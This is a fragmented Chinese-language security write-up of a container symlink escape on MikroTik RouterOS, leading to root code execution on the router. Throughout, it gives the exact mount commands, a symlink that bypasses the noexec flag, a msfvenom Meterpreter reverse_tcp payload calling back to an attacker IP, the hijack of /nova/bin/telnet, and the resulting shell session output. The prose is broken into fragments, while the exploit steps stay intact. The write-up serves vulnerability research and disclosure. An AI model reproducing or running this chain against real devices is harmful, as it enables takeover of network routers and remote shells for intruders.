etc
文件夹下的disk1
被挂载到/etc/pihole
容器中:/container/mounts/add name=etc_pihole src=disk1/etc dst=/etc/pihole
├── dir1
│ ├── file1
│ └── file2
└── dir2/ --(symbolic link)--> dir1/
dir2
是链接指向dir1
的一个符号,但在disk1/dir2/file1
上添加挂载点仍然是有效的,这意味着在文件挂载之前可以通过dir2
解析到dir1
。disk1/alpine
中, 我们在容器内执行以下操作:# ln -s / /rootfs
/rootfs
解析。如果在 RouterOS 中设置容器时将此目录用作挂载源,符号链接则将根据设备自己的文件系统进行解析。/mnt
目录中挂载主机文件系统:/container/mounts/add name=rootfs src=/disk1/alpine/rootfs dst=/mnt
# ls -l /mnt
total 0
drwxr-xr-x 2 nobody nobody 149 Jun 15 11:38 bin
drwxr-xr-x 9 nobody nobody 131 Jun 15 11:38 bndl
drwxr-xr-x 2 nobody nobody 3 Jun 15 11:38 boot
drwxr-xr-x 2 nobody nobody 3 Jun 15 11:38 dev
lrwxrwxrwx 1 nobody nobody 11 Jun 15 11:38 dude -> /flash/dude
drwxr-xr-x 2 nobody nobody 352 Jun 15 11:38 etc
drwxr-xr-x 2 nobody nobody 3 Jun 15 11:38 flash
drwxr-xr-x 3 nobody nobody 26 Jun 15 11:38 home
drwxr-xr-x 3 nobody nobody 403 Jun 15 11:38 lib
drwxr-xr-x 5 nobody nobody 73 Jun 15 11:38 nova
lrwxrwxrwx 1 nobody nobody 9 Jun 15 11:38 pckg -> /ram/pckg
drwxr-xr-x 2 nobody nobody 3 Jun 15 11:38 proc
drwxr-xr-x 2 nobody nobody 3 Jun 15 11:38 ram
lrwxrwxrwx 1 nobody nobody 9 Jun 15 11:38 rw -> /flash/rw
drwxr-xr-x 2 nobody nobody 45 Jun 15 11:38 sbin
drwxr-xr-x 2 nobody nobody 3 Jun 15 11:38 sys
lrwxrwxrwx 1 nobody nobody 7 Jun 15 11:38 tmp -> /rw/tmp
drwxr-xr-x 5 nobody nobody 111 Jun 15 11:38 var
rootfs
使用符号链接,dst
可以将任意目录或文件从任何位置(甚至从容器内部)挂载到主机文件系统上的任何位置。robots.txt
:/container/mounts/add name=robots src=/disk1/alpine/robots.txt
dst=/rootfs/home/web/robots.txt
curl
:$ curl router.lan/robots.txt
Hello from inside the container!
/proc/mounts
来看,由于挂载点的创建方式,这种方法不起作用:/dev/sda1 /nova/bin/telnet ext4 rw,nosuid,nodev,noexec,relatime 0 0
nosuid
、nodev
和最重要的noexec
选项创建的。这意味着即使您要挂载现有的二进制文件,它也不会被执行,而是每次都会失败并显示“Permission denied”。so共享库同样如此,因此挂载在.so
文件上也是不可能的。noexec
属性的链接指向文件系统上有执行权限的二进制文件,那么该文件仍将被执行:$ cp $(which id) id1
$ ln -s $(which id) id2
$ ./id1
bash: ./id1: Permission denied
$ ./id2
uid=1000(xx) gid=1000(xx) groups=1000(xx)
noexec
标志的挂载点访问,我们就可以简单地将符号链接挂载到指向我们要运行的恶意二进制文件上。通过查看/proc/mounts
,我们可以看到容器自己的根文件系统实际上没有noexec
标志(否则将无法在容器内运行可执行文件):/dev/sda1 /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root ext4 rw,nosuid,nodev,relatime 0 0
mount
操作。我们可以用msfvenom
生成一个攻击payload:msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=10.4.0.245 LPORT=1338 -f elf > rev
ln -s /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev /revlnk
telnet
的优先级相对较低且易于触发和调试,我们将其作为目标二进制文件,再在 RouterOS 中创建挂载点:/container/mounts/add name=telnet src=/disk1/alpine/revlnk dst=/rootfs/nova/bin/telnet
/nova/bin/telnet -> /flash/rw/container/aa10a963-9715-4c61-967c-7d9f993410e6/root/rev
/system/telnet 127.0.0.1
设备上运行后,我们在 Meterpreter 监听器中建立了连接:msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.4.0.245:1338
[*] Sending stage (908480 bytes) to 10.4.0.1
[*] Meterpreter session 1 opened (10.4.0.245:1338 -> 10.4.0.1:59434) at 2022-06-21 10:24:34 +0300meterpreter > ls
Listing: /
==========Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040755/rwxr-xr-x 149 dir 2022-06-15 14:38:21 +0300 bin
040755/rwxr-xr-x 131 dir 2022-06-15 14:38:21 +0300 bndl
040755/rwxr-xr-x 3 dir 2022-06-15 14:38:21 +0300 boot
040755/rwxr-xr-x 6140 dir 2022-06-20 21:41:47 +0300 dev
dude
040755/rwxr-xr-x 352 dir 2022-06-15 14:38:21 +0300 etc
040755/rwxr-xr-x 1024 dir 2022-06-20 21:41:14 +0300 flash
040755/rwxr-xr-x 26 dir 2022-06-15 14:38:21 +0300 home
040755/rwxr-xr-x 403 dir 2022-06-15 14:38:21 +0300 lib
040755/rwxr-xr-x 73 dir 2022-06-15 14:38:21 +0300 nova
040755/rwxr-xr-x 200 dir 1970-01-01 03:00:12 +0300 pckg
040555/r-xr-xr-x 0 dir 1970-01-01 03:00:00 +0300 proc
041777/rwxrwxrwx 400 dir 2022-06-21 08:33:07 +0300 ram
040755/rwxr-xr-x 1024 dir 1970-01-01 03:00:14 +0300 rw
040755/rwxr-xr-x 45 dir 2022-06-15 14:38:21 +0300 sbin
040555/r-xr-xr-x 0 dir 1970-01-01 03:00:12 +0300 sys
040644/rw-r--r-- 1024 dir 1970-01-01 03:00:19 +0300 tmp
040755/rwxr-xr-x 111 dir 2022-06-15 14:38:21 +0300 var